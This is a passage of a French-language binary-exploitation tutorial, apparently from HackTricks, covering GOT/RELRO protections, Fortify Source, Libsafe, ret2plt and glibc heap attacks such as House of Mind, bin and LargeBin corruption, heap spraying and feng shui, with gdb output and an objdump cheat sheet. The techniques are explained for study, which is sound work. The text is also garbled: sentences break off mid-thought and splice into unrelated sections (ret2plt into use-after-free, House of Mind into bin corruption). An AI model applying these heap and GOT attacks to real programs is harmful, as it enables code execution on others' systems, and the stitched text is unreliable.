0x0000000000403000 0x0000000000404000 0x0000000000002000 r-- /tmp/try
0x0000000000404000 0x0000000000405000 0x0000000000003000 rw- /tmp/try
0x0000000000405000 0x0000000000426000 0x0000000000000000 rw- [heap]
0x00007ffff7dcb000 0x00007ffff7df0000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df0000 0x00007ffff7f63000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f63000 0x00007ffff7fac000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fac000 0x00007ffff7faf000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7faf000 0x00007ffff7fb2000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb2000 0x00007ffff7fb8000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤  p fgets
$2 = {char *(char *, int, FILE *)} 0x7ffff7e4d100 <_IO_fgets>
gef➤  search-pattern 0x7ffff7e4d100
[+] Searching '\x00\xd1\xe4\xf7\xff\x7f' in memory
[+] In '/tmp/try'(0x404000-0x405000), permission=rw-
  0x404018 - 0x404030  →   "\x00\xd1\xe4\xf7\xff\x7f[...]"

Pour le binaire sans relro, nous pouvons voir que l'adresse d'entrée got pour fgets est 0x404018. En regardant les mappages de mémoire, nous voyons qu'elle se situe entre 0x404000 et 0x405000, qui ont les permissions rw, ce qui signifie que nous pouvons y lire et écrire. Pour le binaire avec relro, nous voyons que l'adresse de la table got pour l'exécution du binaire (pie est activé donc cette adresse changera) est 0x555555557fd0. Dans la carte mémoire de ce binaire, elle se situe entre 0x0000555555557000 et 0x0000555555558000, qui a la mémoire permission r, ce qui signifie que nous ne pouvons que lire à partir de là.

Alors quelle est la contournement? Le contournement typique que j'utilise est de simplement ne pas écrire dans les régions de mémoire que relro rend en lecture seule, et de trouver un autre moyen d'obtenir l'exécution du code.

Notez que pour que cela se produise, le binaire doit connaître avant l'exécution les adresses des fonctions:

  • Lazy binding: L'adresse d'une fonction est recherchée la première fois que la fonction est appelée. Ainsi, la GOT doit avoir des autorisations d'écriture pendant l'exécution.
  • Bind now: Les adresses des fonctions sont résolues au début de l'exécution, puis des autorisations en lecture seule sont données aux sections sensibles comme .got, .dtors, .ctors, .dynamic, .jcr. `**-z relro**y**-z now`**

Pour vérifier si un programme utilise Bind now, vous pouvez faire:

readelf -l /proc/ID_PROC/exe | grep BIND_NOW

Lorsque le binaire est chargé en mémoire et qu'une fonction est appelée pour la première fois, il saute à la PLT (Procedure Linkage Table), d'où il effectue un saut (jmp) à la GOT et découvre que cette entrée n'a pas été résolue (elle contient une adresse suivante de la PLT). Il invoque alors le Runtime Linker ou rtfd pour résoudre l'adresse et la stocker dans la GOT.

Lorsqu'une fonction est appelée, la PLT est appelée, elle contient l'adresse de la GOT où l'adresse de la fonction est stockée, redirigeant ainsi le flux vers celle-ci et appelant la fonction. Cependant, si c'est la première fois que la fonction est appelée, ce qui se trouve dans la GOT est l'instruction suivante de la PLT, donc le flux suit le code de la PLT (rtfd) et découvre l'adresse de la fonction, la stocke dans la GOT et l'appelle.

Lorsqu'un binaire est chargé en mémoire, le compilateur lui a indiqué à quel offset il doit placer les données qui doivent être chargées lors de l'exécution du programme.

Lazy binding -> L'adresse de la fonction est recherchée la première fois que cette fonction est appelée, de sorte que la GOT a des autorisations d'écriture pour que lorsqu'elle est recherchée, elle soit stockée là et qu'il ne soit pas nécessaire de la rechercher à nouveau.

Bind now -> Les adresses des fonctions sont recherchées lors du chargement du programme et les autorisations des sections .got, .dtors, .ctors, .dynamic, .jcr sont modifiées en lecture seule. -z relro et -z now

Malgré cela, en général, les programmes ne sont pas compliqués avec ces options, donc ces attaques restent possibles.

readelf -l /proc/ID_PROC/exe | grep BIND_NOW -> Pour savoir s'ils utilisent BIND NOW

Fortify Source -D_FORTIFY_SOURCE=1 ou =2

Essaie d'identifier les fonctions qui copient d'un endroit à un autre de manière non sécurisée et de remplacer la fonction par une fonction sûre.

Par exemple :
char buf[16];
strcpy(but, source);

Il l'identifie comme non sécurisé et remplace alors strcpy() par __strcpy_chk() en utilisant la taille du tampon comme taille maximale à copier.

La différence entre =1 ou =2 est que :

La seconde ne permet pas que %n vienne d'une section avec des autorisations d'écriture. De plus, le paramètre pour l'accès direct aux arguments ne peut être utilisé que si les précédents sont utilisés, c'est-à-dire que seul %3$d peut être utilisé s'il a été précédé de %2$d et %1$d.

Pour afficher le message d'erreur, on utilise argv[0], donc si on y met l'adresse d'un autre endroit (comme une variable globale), le message d'erreur affichera le contenu de cette variable. Page 191

Remplacement de Libsafe

Il est activé avec : LD_PRELOAD=/lib/libsafe.so.2
ou
“/lib/libsave.so.2” > /etc/ld.so.preload

Il intercepte les appels à certaines fonctions non sécurisées par d'autres sécurisées. Ce n'est pas normalisé. (uniquement pour x86, pas pour les compilations avec -fomit-frame-pointer, pas de compilations statiques, toutes les fonctions vulnérables ne deviennent pas sûres et LD_PRELOAD ne fonctionne pas sur les binaires avec suid).

Espace d'adressage ASCII Armored

Consiste à charger les bibliothèques partagées de 0x00000000 à 0x00ffffff pour qu'il y ait toujours un octet 0x00. Cependant, cela ne permet pratiquement pas d'arrêter les attaques, et encore moins en little endian.

ret2plt

Consiste à réaliser un ROP de manière à appeler la fonction strcpy@plt (de la plt) et à pointer vers l'entrée de la GOT et à copier le premier octet de la fonction à laquelle on veut appeler (system()). Ensuite, on fait la même chose en pointant vers GOT+1 et en copiant le 2ème octet de system()... En fin de compte, on appelle l'adresse stockée dans GOT Si vous voulez réutiliser un pointeur, cela ne posera aucun problème. Si vous voulez en utiliser un autre, il sera assigné au même espace, ce qui faussera les pointeurs "fd" et "bk" avec les données de la réservation précédente.

Après free()

Un pointeur précédemment libéré est réutilisé sans contrôle.

8 Débordements de tas : Exploits avancés

Les techniques Unlink() et FrontLink() ont été supprimées en modifiant la fonction unlink().

The house of mind

Seule une seule appel à free() est nécessaire pour provoquer l'exécution de code arbitraire. Il est intéressant de chercher un deuxième morceau qui peut être débordé par un précédent et libéré.

Un appel à free() appelle public_fREe(mem), qui fait :

mstate ar_ptr;

mchunkptr p;

p = mem2chunk(mes); —> Renvoie un pointeur à l'adresse où commence le morceau (mem-8)

ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:&main_arena [1]

_int_free(ar_ptr, mem);

}

En [1], il vérifie le champ size du bit NON_MAIN_ARENA, qui peut être altéré pour que la vérification renvoie true et exécute heap_for_ptr() qui fait un and à "mem", laissant les 2,5 octets les moins importants à 0 (dans notre cas de 0x0804a000, il laisse 0x08000000) et accède à 0x08000000->ar_ptr (comme s'il s'agissait d'une structure heap_info).

De cette façon, si nous pouvons contrôler un morceau par exemple à 0x0804a000 et qu'un morceau est sur le point d'être libéré à 0x081002a0, nous pouvons atteindre l'adresse 0x08100000 et écrire ce que nous voulons, par exemple 0x0804a000. Lorsque ce deuxième morceau sera libéré, heap_for_ptr(ptr)->ar_ptr trouvera ce que nous avons écrit à 0x08100000 (car l'and que nous avons vu précédemment est appliqué à 0x081002a0 et la valeur des 4 premiers octets, l'ar_ptr, est extraite de là).

De cette façon, _int_free(ar_ptr, mem) est appelé, c'est-à-dire, _int_free(0x0804a000, 0x081002a0)
_int_free(mstate av, Void_t* mem){

bck = unsorted_chunks(av);
fwd = bck->fd;
p->bk = bck;
p->fd = fwd;
bck->fd = p;
fwd->bk = p;

..}

Comme nous l'avons vu précédemment, nous pouvons contrôler la valeur de av, car c'est ce que nous écrivons dans le morceau qui va être libéré.

Comme unsorted_chunks est défini, nous savons que :
bck = &av->bins[2]-8;
fwd = bck->fd = *(av->bins[2]);
fwd->bk = *(av->bins[2] + 12) = p;

Par conséquent, si nous écrivons la valeur de __DTOR_END__-12 dans av->bins[2], la dernière instruction écrira dans __DTOR_END__ l'adresse du deuxième morceau.

C'est-à-dire que dans le premier morceau, nous devons mettre au début plusieurs fois l'adresse de __DTOR_END__-12 car av->bins[2] la prendra de là.

Dans l'adresse où tombe l'adresse du deuxième morceau avec les 5 derniers zéros, nous devons écrire l'adresse de ce premier morceau pour que heap_for_ptr() pense que l'ar_ptr est au début du premier mor bin->bk = bck; Le deuxième à partir de la fin devient le dernier, si bck pointe vers le stack au prochain morceau réservé, cette adresse lui sera donnée.

bck->fd = bin; La liste est fermée en la faisant pointer vers bin.

Il est nécessaire de :

  • Réserver deux malloc, de sorte que le premier puisse être débordé après que le second ait été libéré et introduit dans son bin (c'est-à-dire qu'un malloc supérieur au deuxième morceau ait été réservé avant le débordement).
  • Contrôler le malloc réservé à l'adresse choisie par l'attaquant.

L'objectif est le suivant : si nous pouvons déborder un tas qui a en dessous un morceau déjà libéré et dans son bin, nous pouvons modifier son pointeur bk. Si nous modifions son pointeur bk et que ce morceau devient le premier de la liste de bin et qu'il est réservé, bin sera trompé et on lui dira que le dernier morceau de la liste (le suivant à offrir) est à l'adresse fausse que nous avons mise (sur le stack ou GOT par exemple). Ainsi, si un autre morceau est réservé et que l'attaquant a des autorisations dessus, un morceau sera donné à la position souhaitée et il pourra écrire dedans.

Après avoir libéré le morceau modifié, il est nécessaire de réserver un morceau plus grand que celui qui a été libéré, de sorte que le morceau modifié sorte des unsorted bins et soit introduit dans son bin.

Une fois dans son bin, il est temps de modifier son pointeur bk via le débordement pour qu'il pointe vers l'adresse que nous voulons écraser.

Ainsi, le bin devra attendre son tour jusqu'à ce que suffisamment d'appels à malloc() soient effectués pour que le bin modifié soit réutilisé et trompe bin en lui faisant croire que le morceau suivant est à l'adresse fausse. Et ensuite, le morceau qui nous intéresse sera donné.

Pour que la vulnérabilité soit exécutée le plus rapidement possible, il est idéal de : réserver le morceau vulnérable, réserver le morceau qui sera modifié, libérer ce morceau, réserver un morceau plus grand que celui qui sera modifié, modifier le morceau (vulnérabilité), réserver un morceau de même taille que celui qui a été violé et réserver un deuxième morceau de même taille et ce sera celui qui pointera vers l'adresse choisie.

Pour protéger cette attaque, la vérification typique est utilisée pour s'assurer que le morceau n'est pas faux : on vérifie si bck->fd pointe vers victim. C'est-à-dire que dans notre cas, si le pointeur fd* du faux morceau pointé sur le stack pointe vers victim. Pour dépasser cette protection, l'attaquant devrait être capable d'écrire d'une manière ou d'une autre (probablement sur le stack) à l'adresse appropriée de la direction de victim. Ainsi, cela ressemblera à un vrai morceau.

Corruption LargeBin

Les mêmes exigences sont nécessaires qu'auparavant et quelques autres, en outre, les morceaux réservés doivent être supérieurs à 512.

L'attaque est la même que précédemment, c'est-à-dire qu'il faut modifier le pointeur bk et toutes ces appels à malloc() sont nécessaires, mais il faut également modifier la taille du morceau modifié de sorte que cette taille - nb soit < MINSIZE.

Par exemple, il faudra mettre en taille 1552 pour que 1552 - 1544 = 8 < MINSIZE (la soustraction ne peut pas être négative car elle compare un unsigned).

De plus, un correctif a été introduit pour le rendre encore plus compliqué.

Heap Spraying

Essentiellement, il consiste à réserver toute la mémoire possible pour les tas et à les remplir d'un matelas de nops fini par une shellcode. De plus, 0x0c est utilisé comme matelas. On essaiera donc de sauter à l'adresse 0x0c0c0c0c, et ainsi, si une adresse à laquelle on va appeler est écrasée avec ce matelas, on sautera là-bas. Fondamentalement, la tactique consiste à réserver autant que possible pour voir si un pointeur est écrasé et à sauter à 0x0c0c0c0c en espérant qu'il y ait des nops là-bas.

Heap Feng Shui

Il consiste à semer la mémoire en réservant et en libérant des morceaux de sorte qu'il reste des morceaux réservés entre des morceaux libres. Le tampon à déborder sera situé dans l'un des œufs.

objdump -d executable —> Disas fonctions
objdump -d ./PROGRAMME | grep FONCTION —> Obtenir l'adresse de la fonction
objdump -d -Mintel ./shellcodeout —> Pour voir que c'est effectivement notre shellcode et obtenir les OpCodes
objdump -t ./exec | grep varBss —> Table des symboles, pour obtenir l'adresse des variables et des fonctions
objdump -TR ./exec | grep exit(func lib) —> Pour obtenir l'adresse des fonctions des bibliothèques (GOT)
objdump -d ./exec | grep funcCode
objdump -s -j .dtors /exec
objdump -s -j .got ./exec
objdump -t --dynamic-relo ./exec | grep puts —> Obtient l'adresse de puts à écraser dans le GOT
objdump -D ./exec —> Disas ALL jusqu'aux entrées de la plt
objdump -p -/exec
Info functions strncmp —> Info de la fonction dans gdb

Cours intéressants

Références

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥